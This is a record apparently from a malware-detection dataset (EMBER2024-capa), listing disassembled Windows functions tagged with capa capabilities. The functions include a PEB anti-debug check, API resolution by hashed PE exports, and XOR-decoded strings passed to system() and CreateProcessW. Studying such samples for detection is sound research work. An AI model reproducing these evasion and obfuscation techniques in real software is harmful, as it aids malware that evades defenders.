joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004b050
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x13e0
call fcn.1400c5d10
sub rsp, rax
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
lea ecx, [rdi + 0x40]
call fcn.14008b424
mov rsi, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], 0x3e
mov qword [rsp + 0x40], 0x3f
movups xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400de9d0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400de9e0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400de9f0]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400de9f8]
mov dword [rsi + 0x38], eax
movzx eax, word [0x1400de9fc]
mov word [rsi + 0x3c], ax
mov byte [rsi + 0x3e], dil
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
lea edx, [rdi + 1]
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x54], eax
inc rdx
cmp rdx, 0x270
jb 0x14004b100
mov dword [rsp + 0x50], 0x270
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov dword [rsp + 0x20], 1
mov edi, 0xa
nop dword [rax]
lea rcx, [rsp + 0x50]
call fcn.140086ad0
mov ecx, eax
imul rax, rcx, 0x3e
cmp eax, 3
ja 0x14004b17a
lea rcx, [rsp + 0x50]
call fcn.140086ad0
mov ecx, eax
imul rax, rcx, 0x3e
cmp eax, 4
jb 0x14004b165
shr rax, 0x20
movsxd rcx, eax
movzx r9d, byte [rcx + rsi]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14004b1b2
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x14004b1a7
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004b1ba
mov rcx, rbx
call fcn.14007de60
sub rdi, 1
jne 0x14004b150
lea edx, [rdi + 0x40]
mov rcx, rsi
call fcn.14008b0bc
mov rax, rbx
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14004b1f0
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor ebx, ebx
movzx ebp, dl
mov esi, ecx
mov qword [rsp + 0x34], rbx
xorps xmm0, xmm0
xor edx, edx
movdqu xmmword [rsp + 0x24], xmm0
lea ecx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14004b234
xor eax, eax
jmp 0x14004b2bb
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], Ordinal_30
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14004b2b0
nop
cmp dword [rsp + 0x2c], esi
jne 0x14004b29b
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test bpl, bpl
jne 0x14004b282
cmp byte [0x140126fc3], bpl
je 0x14004b292
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14004b292
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov byte [0x140126fc3], 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x14004b250
lea ebx, [rax + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14004c350
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14015cc20]
test rax, rax
jne 0x14004c554
mov rax, qword gs:[0x60]
xor r8d, r8d
mov qword [rsp + 0x48], rbx
mov ebx, 0x694a8c81
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r8d, r8d
je 0x14004c3ed
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
cmp rcx, r9
je 0x14004c3e4
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r9
jne 0x14004c3d0
cmp edx, r8d
jne 0x14004c517
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov r11d, ecx
shr r15, 0x20
add r11, r10
cmp r11, r10
je 0x14004c517
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14004c517
mov r14d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov edx, 0x811c9dc5
lea rax, [r14 + r9*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14004c467
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14004c450
cmp edx, ebx
je 0x14004c475
test r9d, r9d
jne 0x14004c430
jmp 0x14004c517
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, r11
jbe 0x14004c52f
lea rcx, [r15 + r11]
cmp rax, rcx
jae 0x14004c52f
movzx ecx, byte [rax]
mov r8d, 0x811c9dc5
mov dword [rsp + 0x40], r8d
mov edx, r8d
mov dword [rsp + 0x44], edx
cmp cl, 0x2e
je 0x14004c4dd
nop
movsx ecx, cl
inc rax
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x14004c4c0
mov dword [rsp + 0x40], r8d
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14004c50a
nop dword [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x14004c4f0
mov dword [rsp + 0x44], edx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rbp]
shr rbx, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x14004c52d
cmp qword [rax + 0x30], 0
jne 0x14004c3a1
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov qword [0x14015cc20], rax
add rsp, 0x38
jmp rax
Function at 0x14004cee0
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x48
movdqa xmm0, xmmword [0x1400e0010]
xor eax, eax
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x60636824
mov word [rsp + 0x34], 0x100
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 6]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x14
jb 0x14004cf10
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x35], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
sete al
add rsp, 0x48
ret
Function at 0x140056530
Capabilities:
Check for peb ntglobalflag flag
Encode data using xor
Terminate process

Disassembly:
sub rsp, 0x68
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
je 0x140056728
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
call fcn.140056730
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140056701
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400566be
movdqa xmm0, xmmword [0x1400dfef0]
mov rdx, rax
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x1400dfdf0]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x1400565b0
movaps xmm6, xmmword [rsp + 0x50]
jmp 0x140056701
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
movzx eax, cl
inc ecx
sub al, r8b
add al, 0x32
xor byte [r9 - 1], al
cmp ecx, 0x18
jl 0x1400566d0
mov rdx, r10
mov rcx, r11
call fcn.14007cda0
lea rdx, [0x14007d150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x68
ret
Function at 0x140056f30
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x280
mov rbx, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005701e
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140057015
nop dword [rax]
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.140079b50
cmp qword [rbx + 0x18], 7
mov rax, rbx
jbe 0x140056f9c
mov rax, qword [rbx]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 7
mov rdx, qword [rsp + 0x30]
cmova r8, r9
cmp rdx, qword [rbx + 0x10]
jne 0x140057035
test rdx, rdx
je 0x140056fda
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140057035
add rax, 2
sub rdx, 1
jne 0x140056fc6
mov esi, dword [rsp + 0x48]
cmp r10, 7
jbe 0x140057015
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x14005700d
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057084
mov rcx, r9
call fcn.14008b0bc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x280]
mov eax, esi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
cmp r10, 7
jbe 0x14005706c
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140057064
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057084
mov rcx, r9
call fcn.14008b0bc
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140056f80
jmp 0x140057015
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400640e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov rax, rsp
sub rsp, 0x148
movups xmm1, xmmword [0x1400dcb60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm1
xor r9d, r9d
mov dword [rax - 0x98], 0x68
movups xmm1, xmmword [0x1400dcb80]
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmmword [rax - 0x90], xmm0
movups xmmword [rax - 0x80], xmm0
movups xmmword [rax - 0x70], xmm0
movups xmmword [rax - 0x60], xmm0
movups xmmword [rax - 0x50], xmm0
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [0x1400dcb50]
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [0x1400dcb70]
movups xmmword [rax - 0xc0], xmm0
movups xmmword [rax - 0xb0], xmm1
jl 0x140064291
movdqa xmm5, xmmword [0x1400dfdd0]
lea rcx, [rsp + 0x68]
movdqa xmm4, xmmword [0x1400e0080]
mov edx, r9d
movaps xmmword [rax - 0x18], xmm6
movdqa xmm6, xmmword [0x1400dfdf0]
movaps xmmword [rax - 0x28], xmm7
movdqa xmm7, xmmword [str.22222222]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x140064190
movaps xmm7, xmmword [rsp + 0x120]
movaps xmm6, xmmword [rsp + 0x130]
jmp 0x1400642d3
lea r8, [rsp + 0x68]
mov ecx, r9d
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x39
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ecx, 0x20
jl 0x1400642a0
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x68]
lea rax, [rsp + 0xb0]
xor edx, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], r9
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x148
ret
Function at 0x140076840
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x41], 0
je 0x140076863
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 6]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x40
jb 0x140076850
mov byte [rcx + 0x41], 0
ret

Function at 0x140076870
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x17], 0
je 0x140076893
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 6]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x16
jb 0x140076880
mov byte [rcx + 0x17], 0
ret

Function at 0x1400769b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x50]
xor ebp, ebp
mov rax, qword [rsp + 0x58]
mov r13, r9
mov rbx, qword [rsp + 0x68]
mov r12, rdx
mov qword [r14], r8
mov qword [rbx], rax
mov rax, qword [r14]
cmp rax, r9
je 0x140076b41
mov r15, qword [rsp + 0x60]
lea r8d, [rbp + 1]
mov rdi, qword [rbx]
mov r11d, 0x2800
mov r9d, 0x3ff
mov r10d, 0x2400
cmp rdi, r15
je 0x140076b41
movzx edx, word [r12]
xor sil, sil
movzx ecx, word [rax]
cmp r8w, dx
jae 0x140076a4b
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140076b68
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x140076a62
mov eax, ecx
add cx, r11w
cmp cx, r9w
ja 0x140076a62
shl eax, 0xa
mov sil, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140076a75
movzx r9d, al
mov r10d, ebp
mov r11d, ebp
jmp 0x140076ac2
mov r9d, eax
cmp eax, 0x800
jae 0x140076a8f
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov r11d, r8d
jmp 0x140076ac2
cmp eax, 0x10000
jae 0x140076aa9
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov r11d, r10d
jmp 0x140076ac2
shr r9d, 0x12
mov r10d, 3
movzx r11d, sil
or r9b, 0xf0
xor r11d, 1
add r11d, r11d
lea r8d, [r11 + 1]
mov rdx, r15
sub rdx, rdi
mov ecx, r8d
cmp rdx, rcx
jl 0x140076b41
add qword [r14], 2
test sil, sil
jne 0x140076ae3
cmp r10d, 3
jae 0x140076aef
mov rcx, qword [rbx]
mov r8d, r11d
mov byte [rcx], r9b
inc qword [rbx]
mov r9, qword [rbx]
test r8d, r8d
jle 0x140076b1e
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [rbx]
mov r9, qword [rbx]
test r8d, r8d
jg 0x140076b00
shr eax, 0xa
mov r8d, 1
test sil, sil
mov ecx, r8d
cmovne ecx, eax
mov word [r12], cx
mov rax, qword [r14]
cmp rax, r13
jne 0x1400769ff
mov rax, qword [rsp + 0x40]
cmp rax, qword [r14]
sete bpl
mov eax, ebp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov eax, 2
jmp 0x140076b4f
Function at 0x140077cf0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140077d11
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140077d3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140077d40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140077d99
test ecx, ecx
jle 0x140077d79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140077d99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140077d99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add al, ch
invalid
Function at 0x140077dc0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140077df1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140077e08
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140077e2b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140077e2d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140077e69
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140077efe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140077ea4
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140077ede
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140077efe
cmp rbx, rax
ja 0x140077eb0
test rbx, rbx
je 0x140077efe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
loopne 0x1401bb838
ror byte [rdi], 0x84
add edi, edi
invalid
Function at 0x140078340
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140078364
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400783a7
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x1400783a7
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x1400784d8
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400783ea
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140078415
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x1400784dd
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14007848a
sub eax, 1
je 0x14007848a
cmp eax, 2
jne 0x1400784d8
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x1400784dd
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x1400784bb
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400784d8
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
